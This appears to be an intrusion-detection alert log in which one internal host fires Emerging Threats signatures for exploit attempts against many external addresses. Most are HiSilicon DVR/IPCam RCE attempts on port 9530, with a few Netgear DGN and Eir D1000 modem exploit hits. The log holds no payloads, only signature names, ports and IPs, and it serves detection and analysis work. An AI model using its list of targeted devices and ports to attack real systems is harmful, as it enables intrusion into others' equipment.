05/16/24-16:39:08.123528	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35044	9530	192.168.2.23	60.185.225.72
05/16/24-16:39:08.123528	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35044	9530	192.168.2.23	60.185.225.72
05/16/24-16:39:16.605737	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39470	9530	192.168.2.23	152.209.100.87
05/16/24-16:39:16.605737	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39470	9530	192.168.2.23	152.209.100.87
05/16/24-16:38:55.205933	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45988	9530	192.168.2.23	216.13.245.230
05/16/24-16:38:55.205933	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45988	9530	192.168.2.23	216.13.245.230
05/16/24-16:39:16.580778	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55926	9530	192.168.2.23	125.109.38.147
05/16/24-16:39:08.127269	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43276	9530	192.168.2.23	5.22.94.229
05/16/24-16:39:08.127269	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43276	9530	192.168.2.23	5.22.94.229
05/16/24-16:39:02.728015	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49964	9530	192.168.2.23	25.11.16.83
05/16/24-16:39:02.728015	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49964	9530	192.168.2.23	25.11.16.83
05/16/24-16:39:12.401704	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46130	9530	192.168.2.23	40.203.160.166
05/16/24-16:39:16.580778	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55926	9530	192.168.2.23	125.109.38.147
05/16/24-16:39:12.401704	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46130	9530	192.168.2.23	40.203.160.166
05/16/24-16:39:08.127953	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44690	9530	192.168.2.23	92.227.184.236
05/16/24-16:39:08.127953	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44690	9530	192.168.2.23	92.227.184.236
05/16/24-16:38:59.587396	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51144	9530	192.168.2.23	133.110.214.141
05/16/24-16:38:59.587396	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51144	9530	192.168.2.23	133.110.214.141
05/16/24-16:39:05.707667	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57714	9530	192.168.2.23	120.135.23.140
05/16/24-16:39:03.276929	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52104	9530	192.168.2.23	155.192.62.246
05/16/24-16:39:03.276929	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52104	9530	192.168.2.23	155.192.62.246
05/16/24-16:39:05.707667	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57714	9530	192.168.2.23	120.135.23.140
05/16/24-16:39:05.693347	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50200	9530	192.168.2.23	110.211.11.107
05/16/24-16:39:08.045041	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52582	9530	192.168.2.23	164.79.232.33
05/16/24-16:39:05.693347	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50200	9530	192.168.2.23	110.211.11.107
05/16/24-16:39:08.045041	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52582	9530	192.168.2.23	164.79.232.33
05/16/24-16:38:50.052450	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52856	9530	192.168.2.23	117.62.70.65
05/16/24-16:38:59.590317	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43718	9530	192.168.2.23	130.61.147.19
05/16/24-16:39:14.493475	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43854	9530	192.168.2.23	81.190.87.47
05/16/24-16:38:50.052450	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52856	9530	192.168.2.23	117.62.70.65
05/16/24-16:38:57.409842	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60354	9530	192.168.2.23	98.55.243.213
05/16/24-16:39:14.493475	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43854	9530	192.168.2.23	81.190.87.47
05/16/24-16:38:59.590317	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43718	9530	192.168.2.23	130.61.147.19
05/16/24-16:38:49.306027	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	47404	80	192.168.2.23	119.61.39.176
05/16/24-16:38:50.079992	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48250	9530	192.168.2.23	167.145.240.253
05/16/24-16:38:50.079992	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48250	9530	192.168.2.23	167.145.240.253
05/16/24-16:38:57.409842	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60354	9530	192.168.2.23	98.55.243.213
05/16/24-16:39:03.290460	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34902	9530	192.168.2.23	76.100.115.24
05/16/24-16:39:03.290460	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34902	9530	192.168.2.23	76.100.115.24
05/16/24-16:39:03.281198	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48246	9530	192.168.2.23	110.179.79.219
05/16/24-16:39:03.281198	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48246	9530	192.168.2.23	110.179.79.219
05/16/24-16:39:12.403686	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54102	9530	192.168.2.23	66.45.230.26
05/16/24-16:39:12.403686	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54102	9530	192.168.2.23	66.45.230.26
05/16/24-16:39:05.704083	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44110	9530	192.168.2.23	94.8.198.216
05/16/24-16:39:05.704083	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44110	9530	192.168.2.23	94.8.198.216
05/16/24-16:39:16.602086	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49324	9530	192.168.2.23	119.131.189.230
05/16/24-16:39:16.602086	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49324	9530	192.168.2.23	119.131.189.230
05/16/24-16:38:53.011190	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50176	9530	192.168.2.23	95.38.251.201
05/16/24-16:38:53.011190	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50176	9530	192.168.2.23	95.38.251.201
05/16/24-16:38:55.206802	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39156	9530	192.168.2.23	129.4.246.122
05/16/24-16:38:55.225113	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50674	9530	192.168.2.23	126.143.170.231
05/16/24-16:38:59.558397	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42504	9530	192.168.2.23	152.218.204.153
05/16/24-16:38:55.206802	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39156	9530	192.168.2.23	129.4.246.122
05/16/24-16:38:55.225113	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50674	9530	192.168.2.23	126.143.170.231
05/16/24-16:38:59.558397	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42504	9530	192.168.2.23	152.218.204.153
05/16/24-16:39:08.127230	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37496	9530	192.168.2.23	211.163.89.63
05/16/24-16:39:08.127230	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37496	9530	192.168.2.23	211.163.89.63
05/16/24-16:39:08.041949	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44786	9530	192.168.2.23	40.122.116.140
05/16/24-16:39:08.041949	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44786	9530	192.168.2.23	40.122.116.140
05/16/24-16:38:50.052407	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58166	9530	192.168.2.23	130.131.55.60
05/16/24-16:38:50.052407	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58166	9530	192.168.2.23	130.131.55.60
05/16/24-16:38:49.282376	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	40108	80	192.168.2.23	178.43.10.146
05/16/24-16:38:50.063983	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56882	9530	192.168.2.23	51.243.99.154
05/16/24-16:38:50.063983	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56882	9530	192.168.2.23	51.243.99.154
05/16/24-16:38:53.100272	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49590	9530	192.168.2.23	166.128.164.149
05/16/24-16:39:03.277951	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54098	9530	192.168.2.23	43.9.168.230
05/16/24-16:39:03.277951	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54098	9530	192.168.2.23	43.9.168.230
05/16/24-16:38:55.226827	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45294	9530	192.168.2.23	31.68.227.10
05/16/24-16:39:14.491134	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40316	9530	192.168.2.23	160.172.113.86
05/16/24-16:39:02.726868	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46570	9530	192.168.2.23	36.108.79.69
05/16/24-16:38:55.226827	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45294	9530	192.168.2.23	31.68.227.10
05/16/24-16:39:02.726868	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46570	9530	192.168.2.23	36.108.79.69
05/16/24-16:39:14.491134	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40316	9530	192.168.2.23	160.172.113.86
05/16/24-16:39:16.579356	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	32798	9530	192.168.2.23	130.238.126.169
05/16/24-16:39:16.579356	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	32798	9530	192.168.2.23	130.238.126.169
05/16/24-16:39:12.304144	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39976	9530	192.168.2.23	187.142.57.33
05/16/24-16:39:12.304144	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39976	9530	192.168.2.23	187.142.57.33
05/16/24-16:39:16.607432	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50248	9530	192.168.2.23	134.187.182.93
05/16/24-16:38:58.086171	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42296	5555	192.168.2.23	200.5.83.123
05/16/24-16:39:08.136776	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39388	9530	192.168.2.23	132.248.180.90
05/16/24-16:39:08.136776	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39388	9530	192.168.2.23	132.248.180.90
05/16/24-16:39:16.607432	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50248	9530	192.168.2.23	134.187.182.93
05/16/24-16:38:53.100272	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49590	9530	192.168.2.23	166.128.164.149
05/16/24-16:38:57.430005	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55482	9530	192.168.2.23	148.155.225.122
05/16/24-16:39:08.124464	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36288	9530	192.168.2.23	176.19.113.99
05/16/24-16:39:12.380488	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49280	9530	192.168.2.23	68.142.224.238
05/16/24-16:39:12.380488	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49280	9530	192.168.2.23	68.142.224.238
05/16/24-16:39:16.599369	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51896	9530	192.168.2.23	222.199.198.143
05/16/24-16:39:08.124464	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36288	9530	192.168.2.23	176.19.113.99
05/16/24-16:38:57.430005	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55482	9530	192.168.2.23	148.155.225.122
05/16/24-16:39:16.599369	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51896	9530	192.168.2.23	222.199.198.143
05/16/24-16:38:55.218340	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43336	9530	192.168.2.23	50.58.244.78
05/16/24-16:38:55.218340	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43336	9530	192.168.2.23	50.58.244.78
05/16/24-16:39:16.614022	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39644	9530	192.168.2.23	88.32.27.251
05/16/24-16:39:03.281767	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43516	9530	192.168.2.23	220.71.189.39
05/16/24-16:39:03.281767	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43516	9530	192.168.2.23	220.71.189.39
05/16/24-16:39:16.614022	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39644	9530	192.168.2.23	88.32.27.251
05/16/24-16:38:50.004285	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37358	9530	192.168.2.23	91.5.206.191
05/16/24-16:38:50.004285	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37358	9530	192.168.2.23	91.5.206.191
05/16/24-16:39:05.694660	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39422	9530	192.168.2.23	115.154.239.16
05/16/24-16:39:14.516221	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46638	9530	192.168.2.23	169.43.140.189
05/16/24-16:39:14.516221	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46638	9530	192.168.2.23	169.43.140.189
05/16/24-16:38:50.063924	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47682	9530	192.168.2.23	217.151.108.3
05/16/24-16:39:12.378474	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54980	9530	192.168.2.23	122.237.172.41
05/16/24-16:39:12.378474	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54980	9530	192.168.2.23	122.237.172.41
05/16/24-16:38:50.063924	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47682	9530	192.168.2.23	217.151.108.3
05/16/24-16:39:13.663454	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	36772	80	192.168.2.23	206.205.86.165
05/16/24-16:38:53.064441	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52664	9530	192.168.2.23	48.77.87.46
05/16/24-16:39:16.579857	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50112	9530	192.168.2.23	116.28.235.159
05/16/24-16:38:53.064441	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52664	9530	192.168.2.23	48.77.87.46
05/16/24-16:39:05.513163	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	59346	80	192.168.2.23	27.250.63.203
05/16/24-16:39:05.694660	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39422	9530	192.168.2.23	115.154.239.16
05/16/24-16:39:16.581452	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47570	9530	192.168.2.23	94.93.199.166
05/16/24-16:38:50.004161	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52240	9530	192.168.2.23	146.254.171.241
05/16/24-16:39:16.579857	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50112	9530	192.168.2.23	116.28.235.159
05/16/24-16:38:50.004161	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52240	9530	192.168.2.23	146.254.171.241
05/16/24-16:39:16.581452	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47570	9530	192.168.2.23	94.93.199.166
05/16/24-16:39:08.146436	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	32818	9530	192.168.2.23	194.45.206.237
05/16/24-16:39:08.146436	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	32818	9530	192.168.2.23	194.45.206.237
05/16/24-16:38:57.305735	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46730	9530	192.168.2.23	90.55.51.157
05/16/24-16:38:57.305735	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46730	9530	192.168.2.23	90.55.51.157
05/16/24-16:38:59.609929	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60002	9530	192.168.2.23	170.75.120.113
05/16/24-16:39:12.304191	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56526	9530	192.168.2.23	178.143.49.189
05/16/24-16:39:12.304191	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56526	9530	192.168.2.23	178.143.49.189
05/16/24-16:39:16.604226	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55462	9530	192.168.2.23	91.137.134.217
05/16/24-16:39:16.604226	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55462	9530	192.168.2.23	91.137.134.217
05/16/24-16:38:57.446028	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60356	9530	192.168.2.23	108.40.212.227
05/16/24-16:38:57.446028	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60356	9530	192.168.2.23	108.40.212.227
05/16/24-16:38:59.609929	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60002	9530	192.168.2.23	170.75.120.113
05/16/24-16:39:05.705304	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35064	9530	192.168.2.23	69.70.213.125
05/16/24-16:39:05.705304	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35064	9530	192.168.2.23	69.70.213.125
05/16/24-16:38:53.410286	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	57020	80	192.168.2.23	24.160.198.68
05/16/24-16:39:01.480548	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	37344	80	192.168.2.23	89.83.16.175
05/16/24-16:39:14.522040	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52488	9530	192.168.2.23	165.34.164.127
05/16/24-16:39:14.522040	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52488	9530	192.168.2.23	165.34.164.127
05/16/24-16:39:14.492214	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37806	9530	192.168.2.23	47.42.196.236
05/16/24-16:39:16.611867	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49744	9530	192.168.2.23	78.227.163.15
05/16/24-16:39:16.611867	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49744	9530	192.168.2.23	78.227.163.15
05/16/24-16:39:14.492214	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37806	9530	192.168.2.23	47.42.196.236
05/16/24-16:38:57.303907	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50184	9530	192.168.2.23	110.180.60.66
05/16/24-16:38:57.303907	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50184	9530	192.168.2.23	110.180.60.66
05/16/24-16:39:05.705297	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41160	9530	192.168.2.23	172.202.26.114
05/16/24-16:39:05.705297	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41160	9530	192.168.2.23	172.202.26.114
05/16/24-16:38:57.424456	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45350	9530	192.168.2.23	147.138.177.229
05/16/24-16:38:57.424456	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45350	9530	192.168.2.23	147.138.177.229
05/16/24-16:39:05.706469	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51478	9530	192.168.2.23	157.64.118.48
05/16/24-16:38:55.207705	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52798	9530	192.168.2.23	91.65.151.128
05/16/24-16:39:05.706469	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51478	9530	192.168.2.23	157.64.118.48
05/16/24-16:38:57.304672	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46928	9530	192.168.2.23	126.219.252.180
05/16/24-16:38:55.207705	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52798	9530	192.168.2.23	91.65.151.128
05/16/24-16:39:12.380084	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54886	9530	192.168.2.23	85.203.226.152
05/16/24-16:39:12.380084	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54886	9530	192.168.2.23	85.203.226.152
05/16/24-16:39:09.587308	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	41208	80	192.168.2.23	29.67.192.209
05/16/24-16:38:57.304672	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46928	9530	192.168.2.23	126.219.252.180
05/16/24-16:38:55.226422	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52638	9530	192.168.2.23	77.126.183.103
05/16/24-16:38:55.226422	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52638	9530	192.168.2.23	77.126.183.103
05/16/24-16:39:08.128014	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58260	9530	192.168.2.23	18.12.96.99
05/16/24-16:39:08.128014	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58260	9530	192.168.2.23	18.12.96.99
05/16/24-16:39:14.507675	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33960	9530	192.168.2.23	88.94.66.142
05/16/24-16:38:50.047569	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41460	9530	192.168.2.23	82.19.76.101
05/16/24-16:39:14.507675	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33960	9530	192.168.2.23	88.94.66.142
05/16/24-16:39:05.677612	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49898	9530	192.168.2.23	187.84.121.212
05/16/24-16:39:05.677612	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49898	9530	192.168.2.23	187.84.121.212
05/16/24-16:39:08.041781	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41518	9530	192.168.2.23	159.52.7.78
05/16/24-16:39:08.041781	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41518	9530	192.168.2.23	159.52.7.78
05/16/24-16:39:02.765724	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57316	9530	192.168.2.23	46.58.2.161
05/16/24-16:39:02.765724	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57316	9530	192.168.2.23	46.58.2.161
05/16/24-16:38:57.435737	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47228	9530	192.168.2.23	188.169.77.48
05/16/24-16:38:50.047569	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41460	9530	192.168.2.23	82.19.76.101
05/16/24-16:38:57.435737	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47228	9530	192.168.2.23	188.169.77.48
05/16/24-16:39:14.518784	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47264	9530	192.168.2.23	73.20.100.175
05/16/24-16:39:14.518784	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47264	9530	192.168.2.23	73.20.100.175
05/16/24-16:39:05.694651	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40664	9530	192.168.2.23	206.172.50.115
05/16/24-16:39:14.492190	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57402	9530	192.168.2.23	73.45.73.143
05/16/24-16:39:05.694651	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40664	9530	192.168.2.23	206.172.50.115
